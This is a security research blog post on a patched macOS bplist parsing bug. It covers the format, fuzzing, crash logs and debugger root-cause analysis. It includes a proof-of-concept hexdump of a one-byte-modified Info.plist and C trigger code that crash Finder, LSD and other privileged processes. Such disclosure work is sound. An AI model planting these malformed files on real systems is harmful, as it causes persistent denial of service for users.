MacOS Property List Parsing Bug(s)

14 minute read

Trial By Fire

Recently, I decided it was time to go down another Operating System (OS) rabbit hole and MacOS looked interesting enough especially since I knew little of the internals even though I regularly use Apple products. Learning a new OS is always an adventure, but I typically need a specific goal to ground my exploration and measure success in some way. Therefore, I set a goal of local exploitation through a single file being placed on a MacOS system and let the analysis challenge begin. After only a few weeks I came across an interesting bug related to property lists which this post goes into more detail about. The bug was reported to Apple in May 2020 and patched although no CVE was issued.

Property List Background

Property lists are files that store serialized objects and are prevalant in Apple’s Operating Systems similar to how Microsoft Windows uses the Registry to store configuration data. An example XML-based property list for the MacOS application Automator is shown below. This property list stores version information for the application as well as other useful data.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>BuildAliasOf</key>
	<string>Automator</string>
	<key>BuildVersion</key>
	<string>383</string>
	<key>CFBundleShortVersionString</key>
	<string>2.10</string>
	<key>CFBundleVersion</key>
	<string>492</string>
	<key>ProjectName</key>
	<string>Automator_executables</string>
	<key>SourceVersion</key>
	<string>492000000000000</string>
</dict>
</plist>

Property lists can also be in binary form otherwise known as bplists. As the name implies, these are property lists in a binary format that enable some additional object types and relationships including dictionaries. Below is an example bplist which can be identified by the ‘bplist00’ tag although additional tags exist to support other versions of the format.

00000000: 6270 6c69 7374 3030 d401 0203 0405 060a  bplist00........
00000010: 0b5f 1014 4e53 5374 6f72 7962 6f61 7264  ._..NSStoryboard
00000020: 4d61 696e 4d65 6e75 5f10 254e 5356 6965  MainMenu_.%NSVie
00000030: 7743 6f6e 7472 6f6c 6c65 7249 6465 6e74  wControllerIdent
00000040: 6966 6965 7273 546f 4e69 624e 616d 6573  ifiersToNibNames
00000050: 5f10 134e 5353 746f 7279 626f 6172 6456  _..NSStoryboardV
00000060: 6572 7369 6f6e 5f10 224e 5356 6965 7743  ersion_."NSViewC
00000070: 6f6e 7472 6f6c 6c65 7249 6465 6e74 6966  ontrollerIdentif
00000080: 6965 7273 546f 5555 4944 7358 4d61 696e  iersToUUIDsXMain
00000090: 4d65 6e75 d207 0508 095f 1013 7369 6d75  Menu....._..simu
000000a0: 6c61 746f 724d 6169 6e57 696e 646f 775f  latorMainWindow_
000000b0: 1013 7369 6d75 6c61 746f 724d 6169 6e57  ..simulatorMainW
000000c0: 696e 646f 7758 4d61 696e 4d65 6e75 1001  indowXMainMenu..

The bplist format can be better understood by looking at Apple’s opensource code and I also found this reference to be extremely helpful. The bplist format defined in Apple’s opensource code is below.

/*
HEADER
	magic number ("bplist")
	file format version (currently "0?")

OBJECT TABLE
	variable-sized objects

	Object Formats (marker byte followed by additional info in some cases)
	null	0000 0000			// null object [v"1?"+ only]
	bool	0000 1000			// false
	bool	0000 1001			// true
	url	0000 1100	string		// URL with no base URL, recursive encoding of URL string [v"1?"+ only]
	url	0000 1101	base string	// URL with base URL, recursive encoding of base URL, then recursive encoding of URL string [v"1?"+ only]
	uuid	0000 1110			// 16-byte UUID [v"1?"+ only]
	fill	0000 1111			// fill byte
	int	0001 0nnn	...		// # of bytes is 2^nnn, big-endian bytes
	real	0010 0nnn	...		// # of bytes is 2^nnn, big-endian bytes
	date	0011 0011	...		// 8 byte float follows, big-endian bytes
	data	0100 nnnn	[int]	...	// nnnn is number of bytes unless 1111 then int count follows, followed by bytes
	string	0101 nnnn	[int]	...	// ASCII string, nnnn is # of chars, else 1111 then int count, then bytes
	string	0110 nnnn	[int]	...	// Unicode string, nnnn is # of chars, else 1111 then int count, then big-endian 2-byte uint16_t
	string	0111 nnnn	[int]	...	// UTF8 string, nnnn is # of chars, else 1111 then int count, then bytes [v"1?"+ only]
	uid	1000 nnnn	...		// nnnn+1 is # of bytes
		1001 xxxx			// unused
	array	1010 nnnn	[int]	objref*	// nnnn is count, unless '1111', then int count follows
	ordset	1011 nnnn	[int]	objref* // nnnn is count, unless '1111', then int count follows [v"1?"+ only]
	set	1100 nnnn	[int]	objref* // nnnn is count, unless '1111', then int count follows [v"1?"+ only]
	dict	1101 nnnn	[int]	keyref* objref*	// nnnn is count, unless '1111', then int count follows
		1110 xxxx			// unused
		1111 xxxx			// unused

OFFSET TABLE
	list of ints, byte size of which is given in trailer
	-- these are the byte offsets into the file
	-- number of these is in the trailer

TRAILER
	byte size of offset ints in offset table
	byte size of object refs in arrays and dicts
	number of offsets in offset table (also is number of objects)
	element # in offset table which is top level object
	offset table offset

*/

Property lists provided an interesting target for fuzzing because they are simple to create and consumed by many parts of the OS including higher privileged processes. Apple’s opensource code enabled me to create arbitrary bplists and start to fuzz the file format while ensuring proper syntax with the built-in MacOS plutil command-line tool.

Bug Hunting

I spent a few days generating bplists to exercise the format and quickly found that certain object types caused exceptions when being parsed by common MacOS binaries such as Finder and even higher privileged ones including Launch Services daemon (LSD). System crash logs indicated an issue in the Core Foundation framework but, as we will see later, this bug exists in multiple locations.

Most of the generated crashes appeared to be caused by how Core Foundation parses bplists and subsequently attempts to use the created objects. Any bplist that had objects within it’s ObjectTable that were not string types (Date, Data, Bool, etc.) caused the parsing process to crash when calling non-existent string related selectors. The result was any process that used Core Foundation to read property lists could be crashed with an unrecognized selector exception. An example vulnerable code path is below:

CFBundleGetMainBundle <-- exported function
 _CFBundleCreate
  CFBundleGetInfoDictionary
   _CFBundleRefreshInfoDictionaryAlreadyLocked
    _CFBundleCopyInfoDictionaryInDirectoryWithVersion
 _CFBundleInfoPlistProcessInfoDictionary
  CFStringFind
   CFStringFindWithOptionsAndLocale
    CRASH!!! <-- calls unrecognized selector

Reaching this location was trivial with the following C code and a malicious property list named Info.plist in the same directory as the test application.

#import <CoreFoundation/CoreFoundation.h>
int main(int argc, const char * argv[]) {
    CFBundleRef myAppsBundle= NULL;
    myAppsBundle = CFBundleGetMainBundle();
    return 0;
}

Crash Analysis

Generating crashes for this bug can be done programmatically or by placing a modified bplist on the system where it will automatically be parsed. In fact, one of the first signs of this bug was LSD repeatedly crashing on my system while trying to register an application with my modified property list. Objective-See has a great blog post detailing application registration through LSD and the automatic parsing of property lists. The image below is Console output showing how often crashes occurred with a modified bplist on my desktop posing as a legitimate ‘Info.plist’. Also note the User-level and System-level processes crashing.

Creating malicious bplists can be done by modifying a single byte to change an ASCII string object (type 0x5X) to another object type such as DATE (type 0x33). An example modified bplist is below.

00000000: 6270 6c69 7374 3030 d401 0203 0405 060a  bplist00........
00000010: 0b5f 1014 4e53 5374 6f72 7962 6f61 7264  ._..NSStoryboard
00000020: 4d61 696e 4d65 6e75 5f10 254e 5356 6965  MainMenu_.%NSVie
00000030: 7743 6f6e 7472 6f6c 6c65 7249 6465 6e74  wControllerIdent
00000040: 6966 6965 7273 546f 4e69 624e 616d 6573  ifiersToNibNames
00000050: 5f10 134e 5353 746f 7279 626f 6172 6456  _..NSStoryboardV
00000060: 6572 7369 6f6e 5f10 224e 5356 6965 7743  ersion_."NSViewC
00000070: 6f6e 7472 6f6c 6c65 7249 6465 6e74 6966  ontrollerIdentif
00000080: 6965 7273 546f 5555 4944 7358 4d61 696e  iersToUUIDsXMain
00000090: 4d65 6e75 d207 0508 0933 1013 7369 6d75  Menu.....3..simu
000000a0: 6c61 746f 724d 6169 6e57 696e 646f 775f  latorMainWindow_
000000b0: 1013 7369 6d75 6c61 746f 724d 6169 6e57  ..simulatorMainW
000000c0: 696e 646f 7758 4d61 696e 4d65 6e75 1001  indowXMainMenu..

This small one byte change can now be used to cause havoc on a MacOS system and presumably iOS although that platform was not tested during this research. This approach also impacts multiple databases including Spotlight’s which becomes tainted with this malicious Info.plist and repeatedly causes crashes even after reboot.

Getting to the root cause

With the ability to recreate crashes easily, I dug into where this bug actually lives. A simple approach to tracking this down was to look at the stack trace of a crashing process. Below is a crash log from the test application shown earlier that uses Core Foundation to read a malicious property list.

2020-07-06 09:31:14.433 OpenInfo[79624:2895718] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSDate length]: unrecognized selector sent to instance 0x7fa546d033e0'
*** First throw call stack:
(
	0   CoreFoundation                      0x00007fff2c0058ab __exceptionPreprocess + 250
	1   libobjc.A.dylib                     0x00007fff62126805 objc_exception_throw + 48
	2   CoreFoundation                      0x00007fff2c084b61 -[NSObject(NSObject) __retain_OA] + 0
	3   CoreFoundation                      0x00007fff2bf69adf ___forwarding___ + 1427
	4   CoreFoundation                      0x00007fff2bf694b8 _CF_forwarding_prep_0 + 120
	5   CoreFoundation                      0x00007fff2bf27676 CFStringFind + 45
	6   CoreFoundation                      0x00007fff2bf26cc8 _CFBundleInfoPlistProcessInfoDictionary + 194
	7   CoreFoundation                      0x00007fff2bf1faff _CFBundleCopyInfoDictionaryInDirectoryWithVersion + 1117
	8   CoreFoundation                      0x00007fff2bf1f349 _CFBundleRefreshInfoDictionaryAlreadyLocked + 111
	9   CoreFoundation                      0x00007fff2bf1f2c8 CFBundleGetInfoDictionary + 33
	10  CoreFoundation                      0x00007fff2c027d4f _CFBundleCreate + 715
	11  CoreFoundation                      0x00007fff2bf102aa CFBundleGetMainBundle + 148
	12  OpenInfo                            0x0000000109061f83 main + 35
	13  libdyld.dylib                       0x00007fff634947fd start + 1
	14  ???                                 0x0000000000000001 0x0 + 1
)
libc++abi.dylib: terminating with uncaught exception of type NSException
Abort trap: 6

It was helpful to read the following article to understand how Core Foundation handles unrecognized selector exceptions and clarified what _CF_forwarding_prep_0 in the stack trace does. With this information, I treated the return address before this as the likely source of the exception which is in CFStringFind …specifically after a call to _CFStringGetLength. The disassembly below illustrates this call.

I stepped through CFStringFind in LLDB until right before the call to _CFStringGetLength to inspect the registers. From Apple’s documentation for _CFStringGetLength we know that the first argument should be a string so we can inspect the RDI register with the following LLDB command.

(lldb) po [$RDI class]
__NSDate

Bingo! The object type for the first argument was not a string but instead an _NSDate object from our malicious bplist. The decompilation of _CFStringGetLength below illustrates where this could go wrong.

We can see that the length selector is being called on the first argument to this function which we know will fail for an _NSDate object since it doesn’t have this selector. This theory matches up with the crash logs as well.

reason: '-[__NSDate length]: unrecognized selector

If we continue through this function we will eventually hit an exception in the bowels of Objective-C exception handling which indicates we have found the root cause of these crashes.

Additional Selectors

I continued to generate bplists with non-string objects and was able to generate additional crashes within Core Foundation from other unrecognized selectors. The crash log below is from LSD after consuming a malicious bplist with a single __NSCFData object.

Uncaught exception: 'NSInvalidArgumentException', reason: '-[__NSCFData _fastCStringContents:]: unrecognized selector sent to instance 0x7fac7d49f560'

The stack trace for this LSD crash is as follows.

Application Specific Backtrace 1:
0   CoreFoundation                      0x00007fff356568ab __exceptionPreprocess + 250
1   libobjc.A.dylib                     0x00007fff6b777805 objc_exception_throw + 48
2   CoreFoundation                      0x00007fff356d5b61 -[NSObject(NSObject) __retain_OA] + 0
3   CoreFoundation                      0x00007fff355baadf ___forwarding___ + 1427
4   CoreFoundation                      0x00007fff355ba4b8 _CF_forwarding_prep_0 + 120
5   CoreFoundation                      0x00007fff355615f9 CFStringFindWithOptionsAndLocale + 265
6   CoreFoundation                      0x00007fff35578697 CFStringFind + 78
7   CoreFoundation                      0x00007fff35577cc8 _CFBundleInfoPlistProcessInfoDictionary + 194
8   CoreFoundation                      0x00007fff35570aff _CFBundleCopyInfoDictionaryInDirectoryWithVersion + 1117
9   CoreFoundation                      0x00007fff35570349 _CFBundleRefreshInfoDictionaryAlreadyLocked + 111
10  CoreFoundation                      0x00007fff355702c8 CFBundleGetInfoDictionary + 33
11  CoreFoundation                      0x00007fff35678d4f _CFBundleCreate + 715
12  LaunchServices                      0x00007fff36d2b762 -[FSNode(Bundles) CFBundleWithError:] + 88
13  LaunchServices                      0x00007fff36e34e62 _LSCreateRegistrationData + 294
14  LaunchServices                      0x00007fff36d861e8 __104-[_LSDModifyClient registerItemInfo:alias:diskImageAlias:bundleURL:installationPlist:completionHandler:]_block_invoke + 191
15  libdispatch.dylib                   0x00007fff6ca8b583 _dispatch_call_block_and_release + 12
16  libdispatch.dylib                   0x00007fff6ca8c50e _dispatch_client_callout + 8
17  libdispatch.dylib                   0x00007fff6ca91ace _dispatch_lane_serial_drain + 597
18  libdispatch.dylib                   0x00007fff6ca92485 _dispatch_lane_invoke + 414
19  libdispatch.dylib                   0x00007fff6ca9ba9e _dispatch_workloop_worker_thread + 598
20  libsystem_pthread.dylib             0x00007fff6cce66fc _pthread_wqthread + 290
21  libsystem_pthread.dylib             0x00007fff6cce5827 start_wqthread + 15

Notice that the crashing location, before Objective-C exception handling, is not from CFStringFind but actually CFStringFindWithOptionsAndLocale which calls _CFStringGetCStringPtrInternal finally dying a horrible death from the incorrect selector _fastCStringContents being called. The reason for this is that the __NSCFData type actually has a length selector so it successfully gets past the first crashing location we saw earlier and further into Core Foundation until it calls another unrecognized selector.

Multiple Bugs

Early in this research I was using plutil to generate crashes from malicious bplists before writing my own code to hit the necessary code paths. The following commands set up an LLDB session to start debugging this crash by using plutil as the target process and the print plist flag which will just print a human-readable version of the property list.

(lldb) target create plutil
(lldb) process launch --stop-at-entry -- -p bad.plist

After stepping through execution a few times, it was evident that plutil actually crashes in a different location and NOT in Core Foundation. The output below illustrates that it attempts to call the length selector on an __NSDate type which causes an unrecognized selector exception but this bug lives in plutil and not in Core Foundation.

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
    frame #0: 0x0000000100006aa0 plutil`___lldb_unnamed_symbol67$$plutil + 21
plutil`___lldb_unnamed_symbol67$$plutil:
->  0x100006aa0 <+21>: movq   0x5e91(%rip), %rsi        ; "length"
    0x100006aa7 <+28>: movq   0x45b2(%rip), %r12        ; (void *)0x00007fff6ff53000: objc_msgSend
    0x100006aae <+35>: callq  *%r12
    0x100006ab1 <+38>: movq   %rax, %r15
Target 1: (plutil) stopped.
(lldb) po [$rdi class]
__NSDate

It appears similar bugs exist in many MacOS applications that assume bplists will only contain string object types. The stacktrace from a crashed LSD process is below which is also outside of Core Foundation.

* thread #2, queue = 'com.apple.lsd.database', stop reason = breakpoint 3.1
  	* frame #0: 0x00007fff384c5440 CoreFoundation`__forwarding_prep_0___
    frame #1: 0x00007fff39c644d5 LaunchServices`_LSPlistCompactString(NSString*, signed char*) + 45
    frame #2: 0x00007fff39c98b06 LaunchServices`___ZL22_LSPlistTransformValueP11objc_objectPFP8NSStringS2_PaES3__block_invoke.637 + 67
    frame #3: 0x00007fff384a8f27 CoreFoundation`__NSDICTIONARY_IS_CALLING_OUT_TO_A_BLOCK__ + 7
    frame #4: 0x00007fff384e8a85 CoreFoundation`-[__NSDictionaryM enumerateKeysAndObjectsWithOptions:usingBlock:] + 230
    frame #5: 0x00007fff39c987c7 LaunchServices`___ZL17_LSPlistTransformP12NSDictionaryIP8NSStringP11objc_objectEPFS1_S1_PaES6__block_invoke + 562
    frame #6: 0x00007fff384a8f27 CoreFoundation`__NSDICTIONARY_IS_CALLING_OUT_TO_A_BLOCK__ + 7
    frame #7: 0x00007fff384e8a85 CoreFoundation`-[__NSDictionaryM enumerateKeysAndObjectsWithOptions:usingBlock:] + 230
    frame #8: 0x00007fff39c64a60 LaunchServices`_LSPlistTransform(NSDictionary<NSString*, objc_object*>*, NSString* (*)(NSString*, signed char*), signed char*) + 212
    frame #9: 0x00007fff39c96dbb LaunchServices`_LSPlistCompact + 65
    frame #10: 0x00007fff39d019d9 LaunchServices`_LSPlistAdd + 79
    frame #11: 0x00007fff39c9d3b5 LaunchServices`-[LSBundleRecordBuilder buildBundleData:error:] + 2772
    frame #12: 0x00007fff39c9e3a8 LaunchServices`-[LSBundleRecordBuilder registerBundleRecord:error:] + 97
    frame #13: 0x00007fff39d3f7ec LaunchServices`_LSServerBundleRegistration + 1870
    frame #14: 0x00007fff39d41ba1 LaunchServices`_LSServerItemInfoRegistration + 691
    frame #15: 0x00007fff39d8a62d LaunchServices`_LSServer_RegisterItemInfo + 244
    frame #16: 0x00007fff39c9155d LaunchServices`__104-[_LSDModifyClient registerItemInfo:alias:diskImageAlias:bundleURL:installationPlist:completionHandler:]_block_invoke_2 + 107
    frame #17: 0x00007fff6f996583 libdispatch.dylib`_dispatch_call_block_and_release + 12
    frame #18: 0x00007fff6f99750e libdispatch.dylib`_dispatch_client_callout + 8
    frame #19: 0x00007fff6f9a4827 libdispatch.dylib`_dispatch_lane_concurrent_drain + 1032
    frame #20: 0x00007fff6f99d4ec libdispatch.dylib`_dispatch_lane_invoke + 517
    frame #21: 0x00007fff6f999202 libdispatch.dylib`_dispatch_queue_override_invoke + 421
    frame #22: 0x00007fff6f9a57e2 libdispatch.dylib`_dispatch_root_queue_drain + 326
    frame #23: 0x00007fff6f9a5f22 libdispatch.dylib`_dispatch_worker_thread2 + 92
    frame #24: 0x00007fff6fbf16b6 libsystem_pthread.dylib`_pthread_wqthread + 220
    frame #25: 0x00007fff6fbf0827 libsystem_pthread.dylib`start_wqthread + 15

If we use GHIDRA to disassemble the _LSPlistCompactString function, we can see that offset 45 or 0x2D gets us to yet another length call on the incorrect object type presumably from our malicious bpliist which is now in the LSD database.

We can verify this by setting a breakpoint on _LSPlistCompactString and printing the first argument with the following breakpoint commands.

(lldb) br com add 1
Enter your debugger command(s).  Type 'DONE' to end.
> po [$rdi class] 
> c
> DONE

The output below illustrates that LSD is getting our __NSDate object from the malicious bplist.

Command #2 'c' continued the target.
(lldb)  po [$rdi class]
NSTaggedPointerString
(lldb)  c
Process 576 resuming

Command #2 'c' continued the target.
(lldb)  po [$rdi class]
__NSDate

This confirms what I thought was intially one bug is actually many across multiple MacOS binaries and all rooted in the assumption that bplists only contain string objects.

Impact Summary

  • Root-level processes can be crashed from a normal User account and repeatedly crash if they are respawned by the Operating System (LSD and MDS are examples)
  • System instability and denial of service occur especially when Finder or other UI related processes consume the malicious bplist and crash
  • 0-clicks required to crash processes since application bundles, packages etc. are automatically processed when they are written to disk
  • Potential to crash security-related processes from normal User accounts to remove security boundaries (XProtect, etc.) although they were not fully explored in this post
  • Potential to exploit remotely in scenarios where bplists are parsed automatically
  • System components impacted by this bug include any that use Core Foundation to parse bplists which is a large percentage (a quick search found over 1000 installed binaries on MacOS 10.15.3 that import functions to reach this bug)
  • Many applications parse bplist data through Core Foundation but also access generated objects incorrectly within their own code meaning the bug count could be much larger

Conclusions

Hopefully this exploration was as interesting and helpful to the community as it was for my own understanding of MacOS internals. Shout out to the Apple security community which is extremely passionate and informative about poking at Apple products. There is some follow-on work to this post which will hopefully be published in the coming months. As always, feedback is welcome including corrections to any inaccuracies or suggestions for more effective ways to accomplish the same goals.

Tags:

Categories:

Updated: